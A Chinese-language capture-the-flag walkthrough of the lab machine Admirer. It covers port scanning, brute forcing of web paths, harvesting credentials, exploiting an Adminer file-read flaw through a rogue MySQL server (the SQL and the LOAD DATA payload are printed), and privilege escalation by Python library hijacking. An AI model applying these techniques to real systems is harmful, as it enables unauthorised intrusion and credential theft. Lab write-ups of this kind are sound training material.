0x00 信息收集
nmap -Pn -p- -T4 --min-rate=1000 10.10.10.187
nmap -Pn -sCV -p 21,22,80 10.10.10.187
打开80端口的页面后,仅展示几幅画,未发现可利用的地方,尝试进行路径爆破。
通过robots.txt文件得到路径/admin-dir,打开后提示“403 Forbidden”,在/admin-dir路径下继续进行爆破。
得到两个文件/contacts.txt和/credentials.txt
在/credentials.txt中发现了三组账号和密码。
0x01 漏洞利用
结合21端口开启了ftp服务,因此使用ftp账号进行登录。
将文件拷贝到本地进行查看。
在网站源代码里发现了数据库的账号密码,以及提示。
在新得到的/utility-scripts路径下打开备份文件中存在的路径。
无法打开
根据提示,猜测可能未完成,或者采用了别的开全产品替代,所以尝试在这个路径下继续进行爆破。
根据账号密码进行登录,提示账号被禁止登录。
经过查找Admirer 4.6.2版本有任意文件读取漏洞。
相关原理参考:
https://dev.mysql.com/doc/refman/8.0/en/load-data-local-security.html
https://xz.aliyun.com/t/3973
最终参考文章:
https://www.foregenix.com/blog/serious-vulnerability-discovered-in-adminer-tool
在mysql中执行如下语句
sudo mysql -u root
create database admirer;
CREATE USER 'test'@'%' IDENTIFIED BY 'test';
GRANT ALL PRIVILEGES ON *.* TO 'test'@'%';
FLUSH PRIVILEGES;
同时将数据库配置文件进行如下更改:
vi /etc/mysql/mariadb.conf.d/50-server.cnf
systemctl restart mysql
成功登录
先在admirer数据库中创建一个表
执行payload,根据网站的备份文件,可推断出需查看的文件为index.php
load data local infile '../index.php'
into table admirer.aya3t
fields terminated by '/n'
得到账号密码 waldo/&<h5b~yK3F#{PaPB&dA}{H>
使用ssh登录
0x02 权限提升
使用sudo -l发现可能可以提权的脚本
打开admin_task.sh
打开backup.sh
尝试对这个python文件进行写入,但发现没有写入的权限。
因此尝试劫持python调用的库,参考
https://rastating.github.io/privilege-escalation-via-python-library-hijacking/
在/tmp目录下进行写入
执行命令弹shell